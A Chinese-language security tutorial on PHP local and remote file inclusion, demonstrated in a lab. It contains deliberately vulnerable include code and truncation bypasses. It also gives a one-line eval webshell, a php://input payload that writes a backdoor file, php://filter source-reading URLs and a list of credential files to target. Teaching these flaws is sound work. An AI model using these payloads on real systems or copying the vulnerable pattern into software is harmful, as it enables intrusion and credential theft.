檔案包含漏洞全解

2023-06-15 21:00:56

檔案包含漏洞

檔案包含漏洞(File Inclusion Vulnerability)是指應用程式中存在的一種安全漏洞,攻擊者通過利用該漏洞可以在應用程式中執行任意程式碼。檔案包含漏洞通常出現在動態網頁中,攻擊者通過在URL中注入惡意程式碼,使應用程式將惡意程式碼作為正常程式碼執行。這種漏洞的危害性很大,攻擊者可以利用該漏洞竊取敏感資訊、篡改資料、控制伺服器等。
這是較為官方的一個解釋,其實用我們自己的話解釋就是:開發人員在開發程式的時候,每次都需要使用某一個或者是某幾個檔案中的程式碼,這樣很不方便,為了這個方便性,他會將被包含的檔案設定成為一個變數,然後這樣的話就可以非常方便的呼叫這些檔案。但是開發人員只考慮到了呼叫的方便性,沒有考慮使用者是否也可以呼叫這些檔案,當然也就沒有做任何的限制,這就導致了攻擊者會去利用這個特徵進行一些惡意操作。需要注意的是檔案包含本身其實沒有漏洞的,這是屬於開發人員的疏忽而導致的。

檔案包含漏洞的分類:本地包含、遠端包含

本地包含

1、新建一個php檔案,裡面寫上簡單的程式碼語句
<?php
 $file=$_GET['file'];
 include($file);
 ?>

這段程式碼的意思是GET傳參,賦值給變數file,然後包含這個變數file,而GET傳進來的引數必須是我們的WWW目錄下有的引數,如果沒有則會報錯,如下圖所示

因為是在本地搭建,那麼我們就在www目錄下建立1.txt檔案,其中寫入這個phpinfo程式碼語句

2、程式碼如下:
 <?php phpinfo();?>

然後進行存取:

我們可以看到檔案1.txt中的程式碼會被當做php檔案進行了執行。這就是簡單的一個檔案包含漏洞。如果在實戰中你的資訊收集做的足夠到位,收集的內容也足夠的多,知道他的什麼目錄下有什麼檔案,那麼我們是否可以讀取他的這些檔案,我們將1.txt檔案複製到phpstudy下的Extensions中,這次我們再進行存取

如圖所示,也是可以將其中的程式碼進行解析(握糙,phpstudy中的內容不保),那麼我們是否可以再退一級,讀取他的D槽上的內容呢?我們再將1.txt檔案複製到D槽下,這時我們就需要退兩級,然後存取
注:../是向上退一級

如圖所示,,也是可以將其中的程式碼進行解析的(握草,D槽內容不保),來點更狠的,那麼我們再退一級是否可以存取到C槽上的內容呢?我們再把1.txt檔案複製到C槽中,這時我們需要退三級,然後存取

我們會發現報錯了,不是因為寫的有問題,而是這種寫法存在一些問題,可能會導致不可預期的行為,這種寫法依賴於當前工作目錄,如果工作目錄發生變化,可能會導致檔案讀取失敗或讀取到錯誤的檔案。因此,建議使用絕對路徑。file=C:/1.txt

如圖所示,,也是可以將其中的程式碼進行解析的(握草,C槽內容不保),當然,有些人直接將phpstudy安裝在了C槽,不需要跨盤,直接就可以存取。

看到這裡其實你應該思考到了這個漏洞的危害,當我們包含的檔案中不是php程式碼,而是一些內容,那麼他將會把其中的內容進行讀取。我們建立一個2.txt檔案,檔案中寫入一些內容,然後存取

如圖所示,他是將檔案中的內容進行了一個讀取,這樣的話,weindows中或者linux中那些存放敏感檔案,以及組態檔的檔案是否安全?那肯定是全部洩露。(Windows和Linux中存放敏感檔案的目錄見文章結尾處)

上述說明的就是一個無限制的本地包含漏洞,如果其中的程式碼不解析,那麼只能進行讀取。
假如在真實網站中存在這個本地包含漏洞,你想利用得知道檔案的名字以及路徑(可以看url中的顯示,也可以通過目錄掃描得知),否則將無法利用,如果其中沒有指令碼程式碼檔案,那麼你只能進行讀取檔案,而不能進行解析,此處需要你配合其他漏洞進行利用了,如檔案上傳漏洞,上傳一個對應的指令碼檔案(一句話木馬),然後包含他,用shell管理工具:菜刀或者蟻劍進行連線。他沒有其他漏洞,或者你得不到檔案名字以及路徑,即使有漏洞影響也不大,由此可見,其利用難度是挺高的。

接下來我們看一下有限制的本地包含漏洞,也就是說開發人員知道自己這樣呼叫可能會導致包含漏洞的產生,於是做了一些限制,但是他沒有想到的是這些限制可以進行繞過,繞過了就和無限制的本地包含漏洞一樣了

將我們的index.php檔案中的程式碼修改為
<?php
 $file=$_GET['file'];
 include($file.".html");
?>

以上程式碼的意思是GET傳參,賦值給$file,然後會將$file和.html進行連線,然後包含。也就是說使用者傳進來的變數file的字尾會加上html,比如我們還是包含1.txt檔案,那麼最後他的字尾就會變為1.txt.html,這樣的字尾是以最後一個為準,是.html檔案,這樣也可以進行一個有效防禦,我們來存取一下

如圖所示,他會提示我們這個檔案不存在,是可以在一定程度上防止檔案包含漏洞的產生,那麼我們是可以進行繞過的,只用於php版本低於5.3的,高於5.3無法用以下方法繞過,高於5.3版本就可能需要配合別的漏洞進行下一步操作了,懂安全的開發真的很加分。我們將php版本切到5.3以下進行演示

如圖所示,在我們增加了%00截斷,他也是可以進行一個解析,當然這種方法也是有限制條件的,php版本必須得低於5.3以下,magic_quotes_gpc=off(其處於關閉狀態),當然我們也可以使用長度截斷,在1.txt後面一直加......或者是./././等等進行繞過。

如圖所示的繞過,這個條件需要滿足的是隻有php版本低於5.3,magic_quotes_gpc=off(其處於什麼狀態都是沒有影響的)

補充:

使用長度截斷Windows系統長度需要高於256位,Linux系統長度要高於4096位

以上所述就是本地包含的兩種情況——————有限制的、無限制的。有限制的繞過需要明白其滿足條件,而且有限制的話,我們一般情況下是很難去猜到他到底用了什麼限制,當然他有可能報錯的時候會爆出來是用了什麼,如圖所示,如果他的回顯中沒有,其利用難度可想而知。

遠端包含

宣告:192.168.1.36為受害者電腦IP,192.168.1.41為攻擊者電腦IP

遠端包含漏洞是有函數進行限制,如果程式碼函數限制了遠端包含,那麼就只能是本地包含,而且其中的某些設定也是需要開啟的。

如圖所示,需要是On才可以進行遠端包含,我們為了方便測試,直接把192.168.1.36(受害者電腦)這個引數開啟,先來看一下無限制的遠端包含漏洞,

受害者www目錄下正好有如下程式碼
<?php
 $file=$_GET['file'];
 include($file);
?>

這時,攻擊者在phpstudy裡面的WWW目錄建立1.txt檔案,然後寫上phpinfo程式碼,然後用受害者IP去遠端包含攻擊者的1.txt檔案(兩臺電腦在同一個區域網,都是基於phpstudy進行演示)

如圖所示,那麼如果攻擊者在他的1.txt檔案寫上一句話木馬呢,然後用菜刀或者蟻劍去連,是否就可以達到一個遠控的目的

一句話木馬
<?php @eval($_POST[x])?>


如圖所示,連線成功。

有限制的遠端包含漏洞
受害者的電腦中寫入如下程式碼
 <?php
  $file=$_GET['file'];
  include($file.".html");
 ?>

這樣的話在我們連線的時候就會出現問題,因為這個file後面會強制加上.html

同樣我們進行繞過,這種繞過方式和我們的本地包含漏洞有所不同,可以直接在url中1.txt後面直接加?、%23或者%20,長度截斷在此處不適用,%00也可以。

如圖所示,可以執行成功,因為1.txt裡面是一句話木馬,執行不顯示,所以我又加了121212這些數位。
以上就是遠端包含漏洞的兩種方式,遠端包含漏洞對php版本有要求,需要5.3以下版本,遠端包含漏洞我們其實可以理解為是本地包含漏洞開啟了某些設定,所以都是差不多的。

遠端包含漏洞還可以結合偽協定去進行利用(偽協定是一種特殊的URL協定,它不是真正的網路協定,而是被用於存取本地檔案系統或執行特定的操作。),先來了解一下各種指令碼語言支援的偽協定,因為檔案包含漏洞的產生和指令碼語言沒有關係,所以他不止是發生在php指令碼語言中,他也有可能在JAVA,curl指令碼語言中產生
以下就是各種指令碼支援的協定情況

以下是php支援的各種協定

先來搞一個fileter協定

讀取檔案原始碼用法
php://filter/read=convert.base64-encode/resource=[檔名]
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php


以上是一個base64編碼,所以還需要進行解碼,解碼後的內容就是檔案的內容

執行php程式碼用法
php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

寫入一句話木馬用法
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>


這個是可以實現寫入一個後門檔案,然後用shell管理工具進行連線。

附:weindows和linux中的敏感檔案的位置

windows

C:\boot.ini //檢視系統版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS組態檔
C:\windows\repair\sam //儲存Windows系統初次安裝的密碼
C:\ProgramFiles\mysql\my.ini //Mysql設定
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密碼
C:\windows\php.ini //php設定資訊

Linux

/etc/password //賬戶資訊
/etc/shadow //賬戶密碼資訊
/usr/local/app/apache2/conf/httpd.conf //Apache2預設組態檔
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虛擬網站設定
/usr/local/app/php5/lib/php.ini //PHP相關設定
/etc/httpd/conf/httpd.conf //Apache組態檔
/etc/my.conf //mysql組態檔

就詳細描述一個偽協定,具體情況請參考
https://www.cnblogs.com/endust/p/11804767.html

總結

以上就是檔案包含漏洞所有的內容,通過以上的介紹,我們可以看出檔案包含漏洞利用難度,也可以根據他的原理提出修復建議:1、可以限制使用者存取檔案的許可權;2、include函數中的引數使用者是否可控,如果可控,則要限制;3、增加過濾,對使用者輸入的敏感引數進行過濾;4、組態檔中不必要開的引數設定為OFF等等,希望本文能對你有所幫助,星光安全面向基礎
歡迎大家關注公眾號:星光安全